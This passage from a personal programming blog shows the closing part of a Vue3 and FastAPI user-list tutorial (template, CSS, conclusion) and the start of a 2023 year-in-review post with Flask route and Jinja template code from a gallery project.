class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;user-list&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;user-card&#34;</span> <span class="na">v-for</span><span class="o">=</span><span class="s">&#34;items of user_list&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;user-image&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">img</span> <span class="na">:src</span><span class="o">=</span><span class="s">&#34;items.avatar&#34;</span> <span class="p">/&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;user-info&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">p</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;user-name&#34;</span><span class="p">&gt;</span>{{ items.name }}<span class="p">&lt;/</span><span class="nt">p</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">p</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;description&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> A {{ items.user_type }}, {{ items.age }} years old. </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">p</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">template</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><p>Start the developerment server, you will see the page like this:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">$ yarn dev </span></span></code></pre></td></tr></table> </div> </div><p></p> <p>Finally we just finish the CSS inside the <code>&lt;style scoped&gt;</code> tag to beautify the style.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span><span class="lnt">31 </span><span class="lnt">32 </span><span class="lnt">33 </span><span class="lnt">34 </span><span class="lnt">35 </span><span class="lnt">36 </span><span class="lnt">37 </span><span class="lnt">38 </span><span class="lnt">39 </span><span class="lnt">40 </span><span class="lnt">41 </span><span class="lnt">42 </span><span class="lnt">43 </span><span class="lnt">44 </span><span class="lnt">45 </span><span class="lnt">46 </span><span class="lnt">47 </span><span class="lnt">48 </span><span class="lnt">49 </span><span class="lnt">50 </span><span class="lnt">51 </span><span class="lnt">52 </span><span class="lnt">53 </span><span class="lnt">54 </span><span class="lnt">55 </span><span class="lnt">56 </span><span class="lnt">57 </span><span class="lnt">58 </span><span class="lnt">59 </span><span class="lnt">60 </span><span class="lnt">61 </span><span class="lnt">62 </span><span class="lnt">63 </span><span class="lnt">64 </span><span class="lnt">65 </span><span class="lnt">66 </span><span class="lnt">67 </span><span class="lnt">68 </span><span class="lnt">69 </span><span class="lnt">70 </span><span class="lnt">71 </span><span class="lnt">72 </span><span class="lnt">73 </span><span class="lnt">74 </span><span class="lnt">75 </span><span class="lnt">76 </span><span class="lnt">77 </span><span class="lnt">78 </span><span class="lnt">79 </span><span class="lnt">80 </span><span class="lnt">81 </span><span class="lnt">82 </span><span class="lnt">83 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">@</span><span class="k">keyframes</span> <span class="nt">FadeIn</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nt">from</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="n">scale</span><span class="p">:</span> <span class="mf">0.75</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">opacity</span><span class="p">:</span> <span class="mi">0</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="nt">to</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="n">scale</span><span class="p">:</span> <span class="mi">1</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">opacity</span><span class="p">:</span> <span class="mi">1</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">@</span><span class="k">keyframes</span> <span class="nt">BackgroundColor</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nt">from</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background-color</span><span class="p">:</span> <span class="mh">#f1f1f1</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="nt">to</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background-color</span><span class="p">:</span> <span class="mh">#dfaed4</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">bg</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">width</span><span class="p">:</span> <span class="mi">100</span><span class="kt">vw</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">height</span><span class="p">:</span> <span class="mi">100</span><span class="kt">vh</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">display</span><span class="p">:</span> <span class="kc">flex</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">flex-direction</span><span class="p">:</span> <span class="kc">column</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">justify-content</span><span class="p">:</span> <span class="kc">center</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">align-items</span><span class="p">:</span> <span class="kc">center</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">background-color</span><span class="p">:</span> <span class="mh">#dfaed4</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">animation</span><span class="p">:</span> <span class="n">BackgroundColor</span> <span class="mi">5</span><span class="kt">s</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">user-list</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">width</span><span class="p">:</span> <span class="mi">450</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">height</span><span class="p">:</span> <span class="mi">800</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">overflow-y</span><span class="p">:</span> <span class="kc">scroll</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">overflow-x</span><span class="p">:</span> <span class="kc">hidden</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="n">scrollbar-width</span><span class="p">:</span> <span class="kc">none</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="n">scroll-behavior</span><span class="p">:</span> <span class="kc">smooth</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">display</span><span class="p">:</span> <span class="kc">flex</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">flex-direction</span><span class="p">:</span> <span class="kc">column</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">background-color</span><span class="p">:</span> <span class="mh">#ffffff</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">border-radius</span><span class="p">:</span> <span class="mi">20</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">animation</span><span class="p">:</span> <span class="n">FadeIn</span> <span class="mf">1.5</span><span class="kt">s</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">user-card</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">width</span><span class="p">:</span> <span class="mi">100</span><span class="kt">%</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">height</span><span class="p">:</span> <span class="kc">auto</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">display</span><span class="p">:</span> <span class="kc">flex</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">padding</span><span class="p">:</span> <span class="mi">20</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">flex-direction</span><span class="p">:</span> <span class="kc">row</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">border-bottom</span><span class="p">:</span> <span class="kc">solid</span> <span class="mi">1</span><span class="kt">px</span> <span class="mh">#ebebeb</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">user-image</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">width</span><span class="p">:</span> <span class="mi">120</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">height</span><span class="p">:</span> <span class="mi">120</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">border-radius</span><span class="p">:</span> <span class="mi">100</span><span class="kt">%</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">user-image</span> <span class="nt">img</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">width</span><span class="p">:</span> <span class="mi">100</span><span class="kt">%</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">height</span><span class="p">:</span> <span class="mi">100</span><span class="kt">%</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">border-radius</span><span class="p">:</span> <span class="mi">100</span><span class="kt">%</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">user-info</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">position</span><span class="p">:</span> <span class="kc">relative</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">left</span><span class="p">:</span> <span class="mi">40</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">display</span><span class="p">:</span> <span class="kc">flex</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">flex-direction</span><span class="p">:</span> <span class="kc">column</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">justify-content</span><span class="p">:</span> <span class="kc">flex-start</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">user-name</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">line-height</span><span class="p">:</span> <span class="mi">60</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">font-size</span><span class="p">:</span> <span class="mi">32</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">description</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">font-size</span><span class="p">:</span> <span class="mi">22</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">line-height</span><span class="p">:</span> <span class="mi">30</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>You will see a elegant page with user list in your browser.</p> <p></p> <h1 id="conclusion">Conclusion</h1> <p>In this project, we&rsquo;ve successfully demonstrated the interaction between a frontend client made using Vue3 and a backend server powered by FastAPI. By establishing a connection where the client requests user data from the server, receives a JSON response, and renders it on the webpage, we&rsquo;ve showcased a basic full-stack web application flow.</p> <p>The backend server, built with FastAPI, functions as the intermediary between the data storage file (user_list.json) and the client. Upon receiving a request for user data at the endpoint <code>/userdata/list</code>, it reads the JSON data stored in memory, responds with the user list, and sends it back to the client for display.</p> <p>The frontend, developed using Vue3, sends requests to the backend server using Axios, retrieves the user data, and dynamically updates the webpage to showcase user avatars, names, and descriptions. This seamless data flow between the client and server illustrates the principles of front-end and back-end separation in web development.</p> <p>By combining technologies like Vue3, FastAPI, Python, and Axios, we&rsquo;ve exemplified a simple yet effective approach to building web applications with modern tools and best practices in mind. This project serves as a foundation for creating more complex and feature-rich applications, highlighting the importance of efficient data fetching, processing, and rendering in web development.</p>

2024/3/5
阅读更多

Annual Summary in 2023

<div class="featured-image"> <img src="/img/github-worth.png" referrerpolicy="no-referrer"> </div><p>Though the time is a unit defined by people, it can still flow away like a river running from the hill to the plain. I Only feel a sigh and a wink, the 2023 just has passed.</p> <p>Just looking back on the memories like the cherry blossoms drifting in midair, which I want to catch on my tiptoes, a lot has happened this year.</p> <p>Now just hold the petals and look, which probably makes me bring back the time to mind.</p> <h1 id="gained">Gained</h1> <p>The past year has been a whirlwind of learning and growth for me.</p> <h2 id="skills--knowledge">Skills &amp; Knowledge</h2> <p>In 2023, I delved into a multitude of skills and embarked on several captivating open-source projects that have significantly broadened my horizons.</p> <h3 id="flask">Flask</h3> <p>Let&rsquo;s start with the Flask journey.</p> <p>Early on, I found myself entangled in the enchanting web of Flask, a delightful web application framework in Python. The thrill of setting up and completing the <a href="https://github.com/WeepingDogel/tinygallery" target="_blank" rel="noopener noreffer ">TinyGallery</a> using Flask&rsquo;s straightforward and efficient MVC structure left an indelible mark on my learning path.</p> <p>Diving into the official Flask documentation, I uncovered the art of rendering pages with the aid of jinja2-powered templates. This exploration, though it demanded patience, eventually bore fruit as I gradually incorporated functionalities into the project—minus the requirement of file uploads.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="nd">@app.route</span><span class="p">(</span><span class="s2">&#34;/&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">index</span><span class="p">():</span> </span></span><span class="line"><span class="cl"> <span class="n">database</span> <span class="o">=</span> <span class="n">db</span><span class="o">.</span><span class="n">get_db</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> <span class="n">ImageTable</span> <span class="o">=</span> <span class="n">database</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="s2">&#34;SELECT * FROM IMAGES ORDER BY Date DESC&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="s1">&#39;username&#39;</span> <span class="ow">in</span> <span class="n">session</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="n">LikeTable</span> <span class="o">=</span> <span class="n">database</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="s2">&#34;SELECT LikedPostUUID FROM ImagesLikedByUser WHERE User = ? AND LikeStatus = ?&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="p">(</span><span class="n">session</span><span class="p">[</span><span class="s1">&#39;username&#39;</span><span class="p">],</span> <span class="mi">1</span><span class="p">,</span> <span class="p">))</span><span class="o">.</span><span class="n">fetchall</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> <span class="n">LikedList</span> <span class="o">=</span> <span class="p">[]</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">LikeTable</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="n">LikedList</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">[</span><span class="mi">0</span><span class="p">]))</span> </span></span><span class="line"><span class="cl"> <span class="n">Avatar</span> <span class="o">=</span> <span class="n">database</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="s1">&#39;SELECT Avatar FROM AVATARS WHERE UserName = ?&#39;</span><span class="p">,</span> <span class="p">(</span><span class="n">session</span><span class="p">[</span><span class="s1">&#39;username&#39;</span><span class="p">],))</span><span class="o">.</span><span class="n">fetchone</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> <span class="n">userAvaterImage</span> <span class="o">=</span> <span class="n">app</span><span class="o">.</span><span class="n">config</span><span class="p">[</span><span class="s1">&#39;PUBLIC_USERFILES&#39;</span><span class="p">]</span> <span class="o">+</span> <span class="s1">&#39;/&#39;</span> <span class="o">+</span> <span class="n">session</span><span class="p">[</span><span class="s1">&#39;username&#39;</span><span class="p">]</span> <span class="o">+</span> <span class="s1">&#39;/&#39;</span> <span class="o">+</span> <span class="n">Avatar</span><span class="p">[</span><span class="s1">&#39;Avatar&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span> </span></span><span class="line"><span class="cl"> <span class="s2">&#34;index.html&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">PageTitle</span><span class="o">=</span><span class="s2">&#34;HomePage&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">Images</span><span class="o">=</span><span class="n">ImageTable</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">userAvaterImage</span><span class="o">=</span><span class="n">userAvaterImage</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">userName</span><span class="o">=</span><span class="n">session</span><span class="p">[</span><span class="s1">&#39;username&#39;</span><span class="p">],</span> </span></span><span class="line"><span class="cl"> <span class="n">LikedList</span><span class="o">=</span><span class="n">LikedList</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="k">else</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s2">&#34;index.html&#34;</span><span class="p">,</span> <span class="n">PageTitle</span><span class="o">=</span><span class="s2">&#34;HomePage&#34;</span><span class="p">,</span> <span class="n">Images</span><span class="o">=</span><span class="n">ImageTable</span><span class="p">)</span> </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span><span class="lnt">31 </span><span class="lnt">32 </span><span class="lnt">33 </span><span class="lnt">34 </span><span class="lnt">35 </span><span class="lnt">36 </span><span class="lnt">37 </span><span class="lnt">38 </span><span class="lnt">39 </span><span class="lnt">40 </span><span class="lnt">41 </span><span class="lnt">42 </span><span class="lnt">43 </span><span class="lnt">44 </span><span class="lnt">45 </span><span class="lnt">46 </span><span class="lnt">47 </span><span class="lnt">48 </span><span class="lnt">49 </span><span class="lnt">50 </span><span class="lnt">51 </span><span class="lnt">52 </span><span class="lnt">53 </span><span class="lnt">54 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl">{% extends &#34;base.html&#34; %} </span></span><span class="line"><span class="cl">{% block Title %} {{PageTitle}} | TinyGallery {% endblock %} </span></span><span class="line"><span class="cl">{% block body %} </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;Content&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> {% for x in Images %} </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;work&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">img</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;displayedImages&#34;</span> <span class="na">onclick</span><span class="o">=</span><span class="s">&#34;OpenFullImage({{ loop[&#34;</span> <span class="na">index</span><span class="err">&#34;]</span> <span class="err">}})&#34;</span> </span></span><span class="line"><span class="cl"> <span class="na">src</span><span class="o">=</span><span class="s">&#34;/static/img/users/{{ x[&#39;User&#39;] }}/Images/{{ x[&#39;UUID&#39;] }}.jpg&#34;</span> <span class="na">alt</span><span class="o">=</span><span class="s">&#34;{{ x[&#39;UUID&#39;] }}&#34;</span> <span class="p">/&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">h1</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;userName&#34;</span><span class="p">&gt;</span>{{ x[&#39;ImageTitle&#39;] }}<span class="p">&lt;/</span><span class="nt">h1</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">p</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;textFont&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">span</span><span class="p">&gt;</span>By {{ x[&#39;User&#39;] }}<span class="p">&lt;/</span><span class="nt">span</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">br</span> <span class="p">/&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">span</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;LikesNum&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> Likes: {{ x[&#39;Dots&#39;] }} </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">span</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">br</span> <span class="p">/&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">span</span><span class="p">&gt;</span>Description: {{ x[&#39;Description&#39;] }}<span class="p">&lt;/</span><span class="nt">span</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">br</span> <span class="p">/&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">span</span><span class="p">&gt;</span>Date: {{x[&#39;Date&#39;]}}<span class="p">&lt;/</span><span class="nt">span</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">br</span> <span class="p">/&gt;</span> </span></span><span class="line"><span class="cl"> {% if g.user %} </span></span><span class="line"><span class="cl"> {% if x[&#39;UUID&#39;] in LikedList %} </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">svg</span> <span class="na">onclick</span><span class="o">=</span><span class="s">&#34;SendLikedData({{ loop[&#34;</span> <span class="na">index</span><span class="err">&#34;]</span> <span class="err">}},</span> <span class="err">&#39;</span><span class="na">Like</span><span class="err">&#39;</span> <span class="err">)&#34;</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;likeStatus0&#34;</span> <span class="na">style</span><span class="o">=</span><span class="s">&#34;display: none;&#34;</span> </span></span><span class="line"><span class="cl"> <span class="na">xmlns</span><span class="o">=</span><span class="s">&#34;http://www.w3.org/2000/svg&#34;</span> <span class="na">width</span><span class="o">=</span><span class="s">&#34;16&#34;</span> <span class="na">height</span><span class="o">=</span><span class="s">&#34;16&#34;</span> <span class="na">fill</span><span class="o">=</span><span class="s">&#34;currentColor&#34;</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;bi bi-star&#34;</span> </span></span><span class="line"><span class="cl"> <span class="na">viewBox</span><span class="o">=</span><span class="s">&#34;0 0 16 16&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">path</span> </span></span><span class="line"><span class="cl"> <span class="na">d</span><span class="o">=</span><span class="s">&#34;M2.866 14.85c-.078.444.36.791.746.593l4.39-2.256 4.389 2.256c.386.198.824-.149.746-.592l-.83-4.73 3.522-3.356c.33-.314.16-.888-.282-.95l-4.898-.696L8.465.792a.513.513 0 0 0-.927 0L5.354 5.12l-4.898.696c-.441.062-.612.636-.283.95l3.523 3.356-.83 4.73zm4.905-2.767-3.686 1.894.694-3.957a.565.565 0 0 0-.163-.505L1.71 6.745l4.052-.576a.525.525 0 0 0 .393-.288L8 2.223l1.847 3.658a.525.525 0 0 0 .393.288l4.052.575-2.906 2.77a.565.565 0 0 0-.163.506l.694 3.957-3.686-1.894a.503.503 0 0 0-.461 0z&#34;</span> <span class="p">/&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">svg</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">svg</span> <span class="na">onclick</span><span class="o">=</span><span class="s">&#34;SendLikedData({{ loop[&#34;</span> <span class="na">index</span><span class="err">&#34;]</span> <span class="err">}},</span> <span class="err">&#39;</span><span class="na">Unlike</span><span class="err">&#39;</span> <span class="err">)&#34;</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;likeStatus1&#34;</span> </span></span><span class="line"><span class="cl"> <span class="na">xmlns</span><span class="o">=</span><span class="s">&#34;http://www.w3.org/2000/svg&#34;</span> <span class="na">width</span><span class="o">=</span><span class="s">&#34;16&#34;</span> <span class="na">height</span><span class="o">=</span><span class="s">&#34;16&#34;</span> <span class="na">fill</span><span class="o">=</span><span class="s">&#34;currentColor&#34;</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;bi bi-star-fill&#34;</span> </span></span><span class="line"><span class="cl"> <span class="na">viewBox</span><span class="o">=</span><span class="s">&#34;0 0 16 16&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">path</span> </span></span><span class="line"><span class="cl"> <span class="na">d</span><span class="o">=</span><span class="s">&#34;M3.612 15.443c-.386.198-.824-.149-.746-.592l.83-4.73L.173 6.765c-.329-.314-.158-.888.283-.95l4.898-.696L7.538.792c.197-.39.73-.39.927 0l2.184 4.327 4.898.696c.441.062.612.636.282.95l-3.522 3.356.83 4.73c.078.443-.36.79-.746.592L8 13.187l-4.389 2.256z&#34;</span> <span class="p">/&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">svg</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> {% else %} </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">svg</span> <span class="na">onclick</span><span class="o">=</span><span class="s">&#34;SendLikedData({{ loop[&#34;</span> <span class="na">index</span><span class="err">&#34;]</span> <span class="err">}},</span> <span class="err">&#39;</span><span class="na">Like</span><span class="err">&#39;</span> <span class="err">)&#34;</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;likeStatus0&#34;</span> 